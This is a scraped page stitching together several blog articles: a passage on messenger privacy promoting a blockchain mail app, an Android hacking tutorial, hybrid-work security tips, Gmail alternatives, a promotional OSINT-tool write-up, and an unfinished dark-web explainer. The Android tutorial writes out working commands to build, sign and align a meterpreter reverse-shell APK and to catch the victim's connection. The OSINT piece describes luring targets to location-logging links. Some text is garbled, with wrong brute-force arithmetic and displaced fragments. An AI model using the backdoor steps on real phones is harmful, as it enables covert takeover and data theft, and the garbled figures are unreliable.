opposing opinions, and the US has mastered this technically-legal censorship method. Mark Zuckerburg’s interview with Joe Rogan They’ve been actively involved with a large number of corporations, from Google & YouTube to Twitter & Facebook, and they’ve all been heavily involved with the Federal government to control common narratives across countless communities. This would be the perfect time to let you know that Google’s Keyword planner doesn’t allow you to view any data when searching for the word “Censorship”. They’re censoring data on the word “Censorship” if that’s not irony at its best, I don’t know what is. And while the Russo-Ukrainian war showed us a ton of awfulness, one of which is the US Government’s ability to control, silence, and threaten politically opposing opinions. While you may say the purpose is to stop false propaganda spread, the US has been the leading nation in pushing propaganda successfully. In fact, they have it down to a science. This isn’t just a theory, as this can be backed by charts and figures. Before the Russo-Ukrainian war, Google trends showed interest in ProtonMail to be at 0, and as soon as the special military operation was announced, that figure instantly rose to 53; the last time this figure showed up was two years prior, demonstrating a real increase in users’ need for a private Email solution. What options are available to you? There is an influx of messengers claiming to respect your privacy. However, once you dig deeper, you’ll find out that they still process your data for their own purposes. If you were a specific messenger and have access to user data, then you may receive threats from a certain government regarding banning WhatsApp if you weren’t willing to provide them with the information they ask for, you’ll have no choice but to provide them with everything they need. Otherwise, you risk losing millions of users in the span of minutes, as governments have the power to eliminate completely from a major market. With that being said, let’s take a look at the currently available options. We’ll be focusing on their utility for people who face threats of prosecution or physical harm as a result of their expression of opinions, meaning journalists, oppressed groups, political opposition leaders, and refugees. Let’s kick it off with Messenger Apps WhatsApp Messenger Starting with WhatsApp, you may ignore that disclaimer regarding end-to-end encryption. While this protects your data from being seen by third parties, this doesn’t mean that WhatsApp does not view, process, and use your personal information. While this may not seem like a problem right now, let’s not forget that Facebook has worked closely with the FBI on multiple occasions, meaning that they could hand over information regarding your location, conversations, and more, if the FBI were to ask for that information. Not to mention, for failing to be transparent about how it handled personal information, it’s first fine under the data protection law. This resulted from WhatsApp explaining how it processed users’ and non-users data and how it was shared between WhatsApp and other Facebook companies. This rules WhatsApp out as an option if you’re looking for a private messaging app, as WhatsApp’s security leaves more to be desired. Facebook Inc was fined 225 million Euro European Union Facebook Messenger Back in the good old days, Facebook was a common platform for organizing protests or discussing sociological problems. The only problem is that Facebook has had a bad reputation with regard to what data they collect about you and what they use it for. One of the signs indicating Facebook’s active data collection is how fast your battery drains when using their . This may mean they’re collecting your location and other data, with the only working solution being to uninstall the app from your phone. messenger The second problem is the user experience. Previously, there was only one Facebook App. These were simpler times! Your Facebook messages reside in your Facebook App. After they split the two applications so that your messages were in a Facebook Messenger, users couldn’t justify having two apps that should have been one in the first place, resulting in some looking for other alternatives. Then there is the fact that they rarely decline to hand over data to law enforcement agencies, so beware of what you share with the company if your life’s on the line. ProtonMail We’ve already touched briefly on , so it’s important to explore this option in more detail, so what is Protonmail? It is an email service based in Switzerland that claims to allow users to send anonymous emails. Unlike Gmail and other email providers, they don’t log IP addresses or collect your information, making it a much better option for privacy-oriented users, as all your emails are encrypted on your end, which results in you have better peace of mind when sending and receiving sensitive information that can put your well-being at jeopardy. The idea is to provide you with an email service that respects data privacy. Things, however, aren’t as simple as they seem. Protonmail — in late 2021 — was in the middle of a social media storm when , leading to the arrest of the climate activist. ProtonMail guaranteed that “by default”, would not store any IP addresses that could be linked to users’ email accounts, so it was incredibly problematic when they handed over that exact information to help with the arrest of a climate activist. Even worse, this type of user would need a service like ProtonMail to express their opinions without fear of prosecution freely. Protonmail law enforcement a police report uncovered that ProtonMail shared a user’s IP address with French With this in mind, it’s clear to see that ProtonMail isn’t any different from any other mail-hosting services, as they can log your IP address, and once they’re served with a subpoena, there isn’t much they can do to protect you. So far, we’ve failed to spot any real options providing truly anonymous alternatives to the mainstream messaging apps, as even ProtonMail doesn’t seem to provide you with an anonymous email account. Telegram is known as one of the most secure messengers around. Every time I’m asked which messenger someone should use, I automatically respond with Telegram. However, if you were a political activist or a person needing truly anonymous messaging, you may need to look for other options. Why is that the case? Isn’t Telegram secure? Don’t encrypt all your messages? Is there not a Telegram secret chat function? Yes, Telegram is more secure than other messengers. But it’s not the end-all solution. Believe it or not, Telegram has also previously shared information with government agencies. Telegram In mid-2022, Telegram found itself in hot water for sharing a user’s data with law enforcement agencies. A recent investigation in Germany claims that Telegram is actively sharing user data with government agencies and also censoring content. argues that Telegram has an active and ongoing data-sharing relationship with the country’s Criminal Police Office (Bundeskriminalamt or BKA). Der Spiegel claims there are “several cases” of Telegram sharing user data with authorities. This means that data encryption doesn’t matter, as the messaging app will eventually comply and share your data with law enforcement agencies if they are pressured to do so. The report conducted by Der Spiegel This almost leaves us with no options, though that isn’t the case. There is an emerging concept that can be the option we’re looking for. An option that is open source, transparent, and secure. One that doesn’t use buzzwords like ‘message encryption’ to prove that the platform is secure, so let’s dig a bit deeper. Enter decentralization: DeComm DeComm is short for Decentralized Communication and aims to bring true WEB3 Messengers, WEB3 Email, and Anonymous text messaging to reality. Decentralized Communication enables natively interoperable communication services that are able to trustfully use peer-to-peer connections without having to use central authorities or services. This proves to be a far better method of securing user communication than centralized options, as centralization provides a single point of failure. Regardless of the fact that centralized options have been a reliable option for all those years, they’re just not secure. This is where DeComm comes in. Previously, this idea wasn’t possible as each message would be a transaction. This means that on less-than-efficient blockchains, it would cost too much for you to send and receive Emails. However, with the emergence of efficient and scalable chains (such as Everscale & Solana), this is now more than just a concept. Not to mention, since decentralization has proved to be an objectively more secure option than centralization, this would inherently give the edge to Decentralized private messaging. One available app is , which is a Mail service based on the Everscale blockchain. This service also provides end-to-end encryption, just like other messengers. Additionally, since the protocol is based on Everscale, each transaction — and therefore, message — costs 10,000% less than Ethereum, with much higher speeds as well. Qamon Storing data on a blockchain means that even if the company was approached by law enforcement agencies, it’s just not possible to provide user-specific data. Centralized databases log users and their data, while decentralization eliminates that as an option, meaning that government agencies will have to independently build a case against the user instead of relying on their data to prosecute an environmental activist. Not to mention, Telegram is known by the majority of governments, meaning that if they find your Telegram App on your phone, it’ll be the first app examined. In this case, a less-known decentralized messenger may prove to be a more secure option as it may not even be examined by these government officials. Now That You Know, Choose wisely. If your communication threatens your well-being, then using a messenger assumes a lot of trusts. With all the previous cases centralized messengers have had, it’s truly difficult to trust them with your life, especially when they’re not transparent regarding what data they’re receiving, processing, and storing. Utilizing a platform built and created based on trust seems like the safest option. While this is a new concept — which is why it hasn’t been explored on a mass scale — it is bound to gain traction, especially in today’s light, where governments police what you say wherever they can. It’s time for free speech to become the social norm. Unfortunately, centralized messengers can’t be the right place for anonymous text messaging. If enough pressure is applied, they’ll have no choice but to comply with governmental agencies and provide the data they’re asking for, leading to the arrest of users. However, once you take control out of the company’s hands by introducing decentralized technology, you’ll see that having a truly private messenger can become a reality. Privacy for some users is just a preference, but let’s not forget about others whose lives depend on staying anonymous throughout their communication. Whether they’re environmental activists, political opposition groups, or just journalists, anonymity for some can be a matter of life or death. That is why securing a fully private and encrypted communication method is essential for their well-being. Follow ! me on Twitter Originally published . here

Is Your Messaging Truly Anonymous?

Why Cybersecurity Firms Should Stop Bragging

The methods used by attackers to exploit android phones are increasing. People are busy finding new vulnerabilities to exploit. Below are a few ways to hack Android phones: HID (Human Interface Device)  Attack Password BruteForce Payloads (Custom hacking scripts) Factory Reset Bypass HID The HID attack is a scenario in which an attacker takes a programmable embedded development platform, such as an associated software package like SET (Social Engineering Toolkit), Metasploit, etc., or uses other phones and USB's which are programmed to be a RubberDucky and execute an attack. In such an attack, the hacker installs a backdoor, and by using that, he completely downloads the target's information. Using the information, he can either hack into the bank account of the person or even sell them on the dark web. You can see how a hid attack is conducted from the channel android infosec Login Bruteforce A brute-force attack uses the trial and error method to guess the correct password of the phone. Some important points to consider to conduct such an attack: Number of passwords The timeout The time it might take The timeout: After 5 Wrong pin 's - 30 sec delay After 1 Wrong pin' s - 30 sec delay After 41 Wrong pin 's - 30 sec delay The number of passwords: The total number of possible combinations for a 4 digit numeric lock can start from 4 zeros to 4 nines which means 0000-9999, so we have about : 4 ^ 10 amount of password or 1048576 passwords in total Time consumed: Let's see some possibilities for our understanding: 5 passwords wrong, a delay of 30 seconds. We need to find out how many times we get the delay in the first place and find the total time consumed. Possibility # 1: total time total delay 1048576 / 5 = 209715.2 times 209715.2 * 30 = 6291456 sec or 1747.6266 hours : 41 passwords wrong, delay 30 sec. Possibility # 2 total time consumed total delays 1048576 / 41 = 25 , 575.0243 delays 25575.0243 * 30 = 7 , 67 , 250.729 sec or 767250.729 / 60 = 12 , 787.5121 min or 12 , 787.51215 hours You can see it is almost impossible to find the person's phone's password by brute-forcing. You will be dead by the time you find the phone's password 😣. Payloads Payloads are simple scripts that help a hacker hack a system. So now, if I just trick the person into authorizing and installing the .apk file, which opens a back door for Meterpreter to listen on for a connection to get the system under its control. meterpreter reverse tcp payload creation command: msfvenom –p android/meterpreter/reverse_tcp LHOST =Localhost IP LPORT =LocalPort R > android_shell.apk Payload is -p, LHOST Localhost IP to receive a back connection (Check yours with command), LPORT Localhost port on which the connection listen for the victim (we set it to 4444), R Raw format (we select .apk). if-config We need to provide a certificate to the .apk file to give it an identity. We need to sign a cert for a .apk file to give it recognition as an application. Without this, the .apk file will be recognized as a virus. To assign a cert, you must follow these steps Install: Keytool Jar signer Zipalign Sign the .apk file locally: keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000 Keytool making Keystore: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android_shell.apk hacked Signing a .apk file with JARsigner: jarsigner -verify -verbose -certs android_shell.apk Install and use Zipalign: or

 sudo apt install zipalign sudo apt-get install zipalign zipalign -v 4 android_shell.apk singed_jar.apk Now run the command for that is in the Metasploit console: use exploit/multi/handler And set the various parameters in Metasploit like the lhost, lport, etc. Now you need to run the command after setting the host and port type: run (and press enter) type: After you execute this code, you will receive a connection to the target system. Using this, you can access the whole system and gain full access. Factory Reset A flashed phone is a device where a different ROM/operating system has been flashed on top of the system that came with the phone. Often, phones can be flashed to appear unlocked, whereas, in reality, they are still carrier-branded phones that will not be compatible with our service. For every phone, there are different methods for factory reset, the most common is to do it via the volume buttons and the power button. For example, I have an old oppo phone for which the factory reset combination is down volume button and power button and for 5 seconds and the phone is flashed. Bypass Bypass is a commonly used method by law enforcement like the CIA, FBI & in India, the IB & RAW use a special device as shown in the picture. In such kind of attack's it mainly depends on the attacker using the IP_BOX, which works mainly on the bruteforcing of the target. This is mainly used by law enforcement to get into the phones of terrorist's cybercriminals and other criminals' phones. You can use another tool known as the BashBunny from hak5. This is a mini-computer from which u can conduct a login Bruteforce attack. Unlike the other options above, this is a serious beast in its work. In a matter of hours, you can crack the most difficult of difficult passwords with ease. Note This tutorial is for educational purposes only. Dont try this and get into trouble. Sources rapid7 ( Refered Metasploit Information and Docs ) android infosec ( Learn About HID Attack ) David Bombal ( Learn About Bash-Bunny ) Follow me Twitter: morpheuslord2 Instagram: morpheuslord_9034 email: morpheuslord@protonmail.com

How to Hack Android Phones 

Cómo hackear teléfonos Android

The world is transitioning and so are the companies. From a traditional work environment, hybrid working is taking over. The transition took place when the pandemic hit the entire world and changed the working dynamics. Working from home was the new norm back then. However, now that the pandemic has mostly ended, employees have developed a new norm which is hybrid working. Online security was always a concern for companies, but does it still continue to be a problem for organizations and businesses with the transition to hybrid working? Continue reading to find out. The Hybrid Working Model Employees all over the world have transitioned from remote working to post-pandemic. During covid, employees had to learn how to work remotely from home. Now, when they get used to working from home it has become difficult for most employees to be efficient in working in the office. Hence, companies allowed a flexible approach to letting employees split between working from home and working in the office. hybrid working This approach has been given the term Hybrid working. There are different types of policies that companies are letting employees choose from in the name of hybrid working. These include: 1. Hybrid at-will Hybrid at-will lets employees choose among which days they want to work from home and which days they want to come to the office. This setting works well for most organizations as well as employees. 2. Hybrid Manager-scheduling As the title suggests, in this setting the manager would decide on which day his/her team would come to the office and which day they would work remotely. 3. Hybrid Split-week In this setting, the organization or company would assign certain days for remote work and certain days for the office that the employees have to follow. 4. Hybrid mix A hybrid mix policy is a combination of all three types. The New Work Norm and Online Security Ransomware attacks have increased which is evident by huge and complex attacks such as Hafnium, Colonial Pipeline and Nobelium. This indicates how should be a major concern for all businesses and organizations these days. online security Research shows that there have been thirty billion email threats in 2020 while ransomware and Firmware attacks are on the hike. There are more than fifty million password attacks every day. These statistics emphasize enough on the need for online security. The shift from working on-site to working remotely has led to hybrid working models. This has led to employees remotely working while on the move. Hence, getting exposed to various online security threats. With this new work mode, employees are working on home networks as well as corporate networks simultaneously, doing both personal as well as business activities side by side. This whole working setup sounds very promising, however, there are various security risks that are associated with it. The networks that organizations are using have no firm borders which lead to online security issues. Now that hybrid working is the new trend, a question that arises is how to combat online security threats to make the working experience worthwhile. The answer is below. Seven Ways to Combat Security Threats in 2022 As hybrid working takes over the business environment in 2022, there must be some security measures to combat cyber threats. Here are seven ways to combat security risks and threats: 1. Have stronger Passwords. The recent attacks show a clear theme for cybercrime and it is led by weak passwords. Cybercriminals use phishing and password spraying to attack. To combat security threats, the first thing that companies should do is create stronger passwords and use tools like a password manager. A strong password would help in keeping the identity protected and help combat brute force attacks. Such attacks are caused when a hacker or cybercriminal makes use of software that creates known or random passwords which are acquired through data breaches. A stronger password plays a very important role when it comes to Hybrid working. Think of it as when a company’s employee is working remotely, and a cybercriminal is just sitting next to him. A glance at the employee’s screen could lead to security threats. Using a password manager could help in such circumstances. 2. Use multi-factor authentication or two-factor authentication. Multifactor authentication is a great defense layer that companies can offer their customers. If not multifactor authentication then at least have two-factor authentication available. It will work as a layer of protection for someone accessing your account. Some call it an extra blanket for security against threats. Two-factor authentication is a must in today’s time when work is done remotely and security threats are on the urge. 3. Be cautious in clicking links. A very vital way to combat security threats is to be very cautious in clicking on links. If clicking on links is inevitable, always double-check what you are clicking as it could lead to a phishing attack which is the last thing that you want to experience. Usually, a phishing attack is delivered by an SMS or email. A cybercriminal would entice you to click on a link that would lead you to download a virus or to a website that is malicious. One must ensure that it is the right source that you want to click on as the difference might be very minute and anyone could fall prey to it. For example, instead of bathandbodyworks.com, it would be bathamdbodyworks.com. 4. Connect to a Virtual Private Network What most employees and users do is use public Wi-Fi when they are working remotely. Although, this seems to be a very tempting option it's not. When you use Public Wi-Fi all the traffic on the network could be shared with anyone. Moreover, if you are sending any private or sensitive data without encryption then it could be intercepted by otters on the network or the network operator. If there is no choice but to use Public Wi-Fi, then you must ensure that you are not sharing any sensitive data over it. 5. Manage your Devices and Applications. Device and App updates have much more to do than just bringing cool new features. Updates usually provide security patches which are very vital. You must always keep your laptop, phone and NAS updated so that it does not get hit by malware and other viruses. 6. Use Apps that are Privacy-Focused. When you are downloading and using apps, make sure that you use privacy-focused apps. Such applications help protect you from cybercrime attacks and safeguard your personal information like your ad interactions, contacts, and browsing history. There are some privacy-centered software that you can use instead of the mainstream apps and programs such as Brave, ProtonMail, Startpage, and Signal etc. 7. Always have a Passcode lock on your phone. A cyber attacker may not always be on the other side of the screen. He or she may be right beside you. Always be cautious to save any sensitive data on your phone as in case of loss or theft anyone could get access to your data and it may make you vulnerable to an attack. A passcode lock can help you safeguard your data and information from others. It is a precaution that you must take but at the same time avoid saving any information on your phone including passwords, sensitive photos, and information. Conclusion While hybrid working has become a trend for employees and companies, it has made organizations more prone to cyber-attacks. Online security has to be a priority for everyone and companies, employees and users have to take some actions to combat the threats.

Hybrid-Working & Online Security: 7 Ways to Combat Threats in 2022

Gmail is one of the more popular email services online. It is the first choice for most users who wish to register for a new email account. However, it's not for everyone. Some people have privacy concerns and prefer to go with email services that put security as their top priority. Gmail is not the most secure email service, especially if you want to protect your privacy. Then there's also Google Ads on every email that comes through Gmail. But if you're looking for a more private alternative, these other email services might track your emails and browsing habits less. If you thought Gmail was the best Email service ever, I don't know what to tell you! But if you feel Gmail has sucked in the past few years, it's time to try these inbox alternatives. Here are some of the best Gmail alternatives you can use: ProtonMail ProtonMail is the world's largest secure email provider, with over 2 million users. It is designed to make your emails and online activity private and secure. With end-to-end encryption, ProtonMail ensures that only you and the intended recipient can read your messages. Unlike other free email services, ProtonMail is security-focused and doesn't require any personal information when creating a new account. You get 500MB of storage and 150 messages per day for free. You can even use it for commercial purposes without any cost. European scientists who met at CERN and MIT developed this secure email service and are now based in Switzerland. Their email service is available on multiple platforms, including Android and iOS, with clients designed for desktops. Outlook Outlook makes it easier to meet email demands with features that make using email enjoyable again; it has a one-click unsubscribe button at the bottom of every email, secure online messaging, and a new look that's as smart as you are. If you have yet to try , now is a great time. With integrations to Microsoft Office apps, Outlook is a powerful email client for businesses and organizations of all sizes—with many great features that Gmail and other competitors don't have. One such feature is the Word, Excel, PowerPoint, and OneNote integration add-on. Outlook You can read or write an email from your inbox within one of those four apps. This makes working on documents more accessible and seamless than ever, with your inbox in the background. Share calendars, contacts, files, and notes across all the devices in your company. Outlook integrates Calendar, Files, and Contacts, helping you stay up to date with your business wherever you are. Inbox rules help you sort through messages and filter out what is not essential so you can focus on what you need to concentrate on. Zoho Mail Zoho Mail is an ad-free email service with 5GB of storage, aliases, and even activity-based reminders. Zoho Mail lets you add multiple addresses to one account, which is perfect for running various businesses. You can add your domain or any other email address without giving out your Zoho address. For large organizations, this Google alternative provides multiple administrative controls. It is also ideal for individual users who want to take advantage of the free 5GB storage offered in the standard plan. You can file messages into folders, organize them with labels, and configure multiple aliases. Anyone needing a free and unlimited email solution will find the service very endearing. Zoho Mail offers minimum restrictions on account creation. You can expect an overflowing mailbox if you use this free service regularly. All of the above-listed email services provide easy-to-use email clients and have better spam filtering than Gmail. Let me know if you come across any excellent Gmail alternatives. I'd love to hear from you.

3 Gmail Alternatives for a Better Email Experience

Hello there, today I am going to discuss a new OSINT framework that aims at creating one location for all your OSINT needs its a really neat tool for many things from Username OSINT, Social Media OSINT, Email OSINT, Bug Bounty Dorks, IP/Domain Tools, Crime Investigations, Sock Puppet Category, Temp Email/Phone, News Infosec, Phishing URL Detection, Reverse Image Lookup, Image Forensics, and Location Logging Services. OSINT stands for Open Source Intelligence and generally refers to information that you can learn about people and organisations that can be gathered through publically-avaliable tools. Topics to discuss Introduction Username Osint. Email Osint. Bug Bounty Dorks. IP/Domain Tools. Crime Investigation. Sock Puppet Categories. Temp Email/Phone. News Infosec. Phishing URL Detection. Reverse Image Lookup and Image forensics. Location Logging Services. ThreatCops Pro Version. Future Plans. Introduction - The threat tool is currently being used by various law enforcement agencies from different states that including Delhi Police, Gurugram Police, UP Police, Uttrakhand Police, Telangana Police, and Rajasthan Police, and more. (check Linkedin for reference). Threatcops.com The website aims to provide the best possible experience to its users by filtering and choosing the best resources which have been tested by many pros from the community and they also have exclusive services with their pro options. As a hacker, it’s necessary to do some recon and gain more knowledge on what I am dealing with and OSINT is the skill you need. You can go no were in a pentest when you don’t know from where you can find the info if you don’t have complete info you cannot do any pentest to its fullest. That is where this ThreatCops comes in handy as it has all the resources which are necessary to find the best intel to exploit. Intro on the developer. , is a developer, a Cybersecurity Critical thinker, and an excellent communicator proficient in OSINT-based Research/Reconnaissance, Malware Analysis, and Web App enumeration. Saumay Srivastava I aspire to develop transformational cybersecurity tactics for a variety of organizations and societies and help like-minded people with my existing knowledge. Achievements: Delivered Training sessions to MHA (Ministry of Home Affairs) Won Cyber Hackathon Organised by Uttrakhand Police sponsored by IBM, Systools, AWS User group India and Virtual Cyber labs competed with 326 Teams across India [Major all ITs, Tech Universities, and IBM], then Uttarakhand Police selected 50 projects/concepts. Afterwards, all participants completed their projects while continuously coding/programming for 36 hours. Delivered a Webinar on "How to be Safe Online" at Delhi University Vivekananda. Reported Critical Violent Data from IAMC (Indian American Muslim Council) to Government of India. Username OSINT Let's consider a scenario where you have been appointed by a group of people to a company or in any legal way you have been assigned to monitor or gather intel regarding a person from the internet and for that the main things you need to search for the person’s username and there might be 100’s of people with the same username and all you need to have the proper portal from where you can search the person. The above image will give a basic understanding of how it works. This is useful for targeting a specific thing related to that person may be designing a spear-phishing attack designing custom passwords as per the data collected and many more. The possibilities are endless and that’s where ThreatCops can be useful for username OSINT there are around 8 different links consisting of dorks, internal sub-links, and also external search engines, and yes all of them are tested and they work, and also give accurate results to a certain extent. Email OSINT In a scenario where you are testing an email of an employee or an admin email over on the internet can reveal some juicy information whether there is any kind of data leaks, malicious activities, or anything of that sort that can be checked not just email data related to what is going on with the website. ThreatCops have great links where you can also check whether the header of a suspicious email is a phishing email or not. If you are familiar with protonmail or any email provider with security in mind you know they allow us to view headers of suspicious emails and using that you can easily check if that email is a phishing email or not. In ThreatCops there are 5 links and 1 exclusive pro service where the 5 links have great resources which you will need and in most cases will be enough but in the 1 pro version there will be a dedicated investigation on the email and that will also come with a detailed analysis report. Bug Bounty Dorks If you have read any of my previous articles regarding website security I have mentioned quite a lot of times what a bug bounty is and how you can earn money via such programs. But, to find a promising bug there is always a need for lots of investigations if you want to find an open directory or a super-secret file inside the websit. For that matter you will have to use google dorks. They are the freest to use easy to understand and highly powerful tools that are present in almost all the devices in our reach. ThreatCops have some of the best links and dorks in place these with proper filtering and good googling skills can easily fetch you one or 2 bugs and that’s good as nothing in the security industry is small even the smallest of smallest vulnerability has a lot of value. In ThreatCops there are more than 30 different dorks and they are highly effective sort after and working bugs which I guarantee with some good searching can get you a pay-day. IP/Domain tools In an OSINT related to a web server or service even in a pentest scenario where you need instantaneous results, the best option is online sources as they have high-speed internet and other neat perks with them, therefore, making them effective in the enumeration in case you are doing a server enumeration or a website enumeration and want to look up the subdomains and the DNS information to find possible exploits for data leaks, etc. ThreatCops has a few of the best links for you to try and test for your next web pentest. There are in total of 31 different web links which extend from SSL scans to port scans and also have much more functionality. Crime Investigation Knowing various crimes all across the world and being up to date is necessary it helps in knowing what’s on the minds of hackers mainly black hats what global things can get affected what are the latest crimes which can have a great impact on a commoners day to day life and what you as a hacker can learn from it and how you can educate people about it. For example: On December 23, 2015, the power grid of Ukraine was hacked, which resulted in power outages for roughly 230,000 consumers in Ukraine for 1-6 hours. You see the problem is if there was a power outage for 1-6 hours that can cause people’s lives, think about it there is a hospital with 50 ICU patients or maybe more and the hospital has 5 hours of complete full power backup, a hacker group manage to disable power for about 8 hours then even reinforcements can not save the 50 plus lives in that hospitals not just that this can be in any field let it be banking, stock market, etc. that is a major issue. Staying aware of what’s going on in the outside world helps you be ahead in your game. ThreatCops have I guess 6 links some being external redirects and some internal all have their perks, and to a greater extent accurate they scrape the intel from many sources and give out a condensed view and links to the complete articles. Sock puppet categories Sock puppets are nothing but fake social media accounts crafted in detail to search for OSINT without giving out real identities. Sock Puppets are essentially aliases, fictional character profiles created by others with a specific goal in mind, and as part of OSINT social engineering. These types of accounts can be used by anyone, such as investigators, detectives, hackers, police, and journalists, who can be anyone who wants to impersonate someone else. Now that you think yes, it's an easy job because you just need to create a dummy account. It's not as simple as you might think, to be a successful sock puppet it needs to be believable and consistent with the behavior of real people online. The puppets have real names, real phone numbers, addresses, photos, credit card numbers, various social media accounts, friends, and more. Let's see what the puppets are for. ThreatCops has great links to sites for fake ID images and more for in-depth investigative uses. Temp email/phone As the name suggests this helps to create a temporary email or phone number for authentications and also for short testings. Where I would never prefer using my actual email and all for obvious reasons this is kinda useful for more than one thing such as Opsec, Bug Bounty, etc. ThreatCops do have some really interesting links for us to use, that’s it I know not much to explain it’s way simpler to use than explain. In ThreatCops there are 5 different services linked with maximum integrity. They have been pretested and I can assure you that this will be useful for you to use. News Infosec As I said above being aware of the latest happenings is important and that’s general but knowing in the field where you are working in, yes exclusive cybersecurity-related information, such as the latest CVE’s huge data breaches, scam busting, and many more. I find this information useful in a pentest scenario if you find a similar kinda service or issue facing then you can get to know where to refer and what to do to exploit that particular vulnerability. That would be more helpful than finding the same vuln from scratch which might take hours. This is just one use case there are many and might take a whole lot of time to list out. ThreatCops has four news service links that act as complete hacker newspapers as they have the day-to-day updates on the cyberworld. Phishing URL Detection If you check the spam section of your email there might be at least 1 phishing email attached to it the more your email is exposed on the internet the more you have chances of receiving a phishing email. I receive a lot of such emails reaching from job offers to things that I use on a day-to-day base. These emails sometimes can get annoying and get on my nerves and sometimes they tend to be as close to being legit but you may never know. I check things related to the email body like finding silly spelling mistakes or mistakes with the contents in some manner to get a better understanding. If in case that is a company email of some sort I check the headers of the email to contain all sorts of information that can help determine the legitimacy of the email the services are all over the internet but you need to search for the write one. If that was a personal email I search the email sender’s information means I will try to OSINT the person behind the email and if found legit I might think about going forward with the conversations or else report phishing and drink coffee and forget it. These emails mostly contain links. These links might be of services that are made to execute backdoors via our browsers mainly projects such as BeeF projects. ThreatCops has some great links to lookup such might be fraud email links we don’t know who is behind what spam links there are 4 links mentioned and they also can be used in conjunction with email investigation. Reverse Image Lookups and Image Forensics If you are into forensics you might be familiar with reverse engineering and retrieving metadata from images and they tend to be easy to give out all the information such as latitude and longitude where the image might be taken from the camera and much more information. If you know the incident where John Macfee was arrested then you might get a good idea. The scene is that John Macfee's image was found on social media when he was fleeing and when the officials checked the metadata of the image they found out the exact coordinates to the residence he was staying in that they found his exact location and arrested him. A classic example of what kinda power metadata and image forensics have and ThreatCops have some of the best online links out there they have about 14 links that have the most accurate results out there. Location Logging Services Location Logging as the name suggests determines a person mainly targets locations via links and other means and uses it mainly for legal purposes and not for other unwanted things. There are times when you might have to determine the location of your target via means such as web links or emails these kinda OSINT involves both Social Engineering and OSINT together as if you want to make your target click on the link you need to convince him to click the link and that’s left up to how you carry on the investigation. Let’s take a real-life scenario to better understand the use case of this utility. Let’s assume you have been appointed by a gov agency, I am mentioning government because in many nations doing this is illegal keeping that in mind you might have got a target to enumerate but have no clue on his locations or anything in that matter, all you have is either his phone number or his email the first logical thing is to create a convincing email or phone number. Mainly a temp and anonymous one is used for better Opsec, and then do a social engineering attack on your target with a real-life website for him to view but in a shortened or location logger link in place then send the message, email, or do a call if all goes well then you have the location of your target and you can report that to the respective authority. ThreatCops has 7 different links for Location Logging services and they are accurate for the most part with the city and country location but miss slightly with the exacts but the rest information is accurate for the most part. ThreatCops Pro Version. If you want a professional to do the job for the maximum efficiency and proper format in case you don’t have proper knowhow or you cannot directly get involved then ThreatCops has their pro version where you need to enter a few details and you are good to go the payments are feasible and the services are accurate and timely. The pro service includes: Email Investigation Linkedin Investigation People Investigation Employee Investigation Business Competitors Investigation The investigations are conducted by government authorized personnel and there will be a report with all the findings after the complete investigation has been completed these investigations are kinda complicated and companies usually hire such personnel for such complex jobs. Future Plans ThreatCops have been taking OSINT to a new extent by introducing they are planning on introducing a dark web investigation suit and they are yet to be released but it will be done soon. Dark Web Investigation COMING SOON. Links to the website . Main ThreatCops webpage DarkCop webpage (COMING SOON). Saumay’s LinkedIn. Contact me Thanks for reading my article and anything else you want to discuss or any topic which you feel that I can write an article about please add a comment below, thanks to HackerNoon’s new feature giving your opinion and suggestions have become more easy, and if you want to contact me personally you can do that via LinkedIn or email I don’t use my Instagram and Twitter handles that often and thank you. Do check out my about me page to get links to my website and social media platforms with a few details regarding me and my works. . LINKEDIN . INSTAGRAM . TWITTER EMAIL: . morpheuslord@protonmail.com

New Generation OSINT Framework

Marco OSINT de nueva generación

The Dark web is a completely isolated part of the internet and this was first introduced to carry out military operations during the world-war now it is famous for illegal trade and transactions of stolen info of various people's social media acc and bank information's and transactions are mainly carried out via bitcoins or any other cryptocurrency. History "ARPANET, also known as the Advanced Research Projects Agency Network, was an experimental compute
r network created in the 1960s that was the forerunner of the Internet and later on, the dark web. This can be seen in the facilitation of the first illegal online transaction using ARPANET in the early 1970s" “In 1971 or 1972, Stanford students using ARPANET accounts at Stanford University’s Artificial Intelligence Laboratory engaged in a commercial transaction with their counterparts at MIT. Before Amazon, before eBay, the seminal act of e-commerce was a drug deal. The students used the network to quietly arrange the sale of an undetermined amount of marijuana.” ." "By 2002, the Tor Alpha version had been launched and a year later it was released to the public with 12 volunteer nodes. Tor is free and open-source software for enabling anonymous communication. The project, “The Onion Router”, which is where the name Tor came from, was developed by people with a common belief: internet users should have private access to an uncensored web. The Development of the Tor Browser started in 2008.  The simplest explanation for how Tor works is that it routes traffic through multiple servers and encrypts it at each step along the way to allow for “anonymous” internet activity Copied history directly from Wikipedia The illegal services in the dark web activeViolence total 0.3%, active 0.6% Arms total 0.8%, active 1.5% Illicit Social total 1.2%, active 2.4% Hacking total 1.8%, active 3.5% Illicit links total 2.3%, active 4.3% Illicit pornography total 2.3%, active 4.5% Extremism total 2.7%, active 5.1% Illicit Other total 3.8%, active 7.3% Illicit Finance total 6.3%, active 12 Illicit Drugs total 8.11%, active 5.5% Non-illicit+Unknown total 22.6%, active 43.2% Illicit total 29.7%, active 56.8% Inactive  47.7 The stats were directly copied from Wikipedia Onion network The onion network or the collection of onion routers around the world is a huge network that is used by tor browser to make the user unknown to the website and the website unknown to the user. In the above diagram, we can see that how does this network work in this we can see the routers are scattered around the world, and the user when he types out the page address lets consider it to be is our website you can see that the URL is completely out of for and this URL is hashed when you type this URL your request goes through a randomly generated channel of onion routers, on the other hand, the web also goes through a randomly generated channel of onion routers making the two completely anonymous to each other. 2xhjpsbpszgpysgq6u73azn4g6qsyr6geldznbon7e4ykeefm7g5c7yd.onion Safety When there is a randomly generated channel from both ends this makes both the users completely anonymous to each other and the routers are randomly selected among the network and if you use a VPN with this I am for shore locating your exact location is not possible for any hacker until it is done by hundreds of hackers together. Well, the tor service acts as a VPN on its own but it depends on the hacker if he is a person with explicit knowledge of the tor service can hack any service who knows if there is a hacker out there who has already cracked this 🤔🤔🤔🙄🙄🙄. That will take a hell of a lot of reverse engineering to get to the actual server on the client-side or the website. Access the dark web Accessing the dark web is not as difficult as it sounds you just need something known as a tor browser which you can get with a brave browser also once you have the browser you just need a web URL or the onion URL which is specific for the tor network or the onion network and you cannot access the tor network without the tor browser. If you really want to access the tor network, you can follow this to do so: go to and download their latest version brave browser website after the installation go to the customize option on the top right corner and search for the open brave with tor now you have a tor browser to access the dark web Create a dark web website If you want to create a tor website you need to follow these 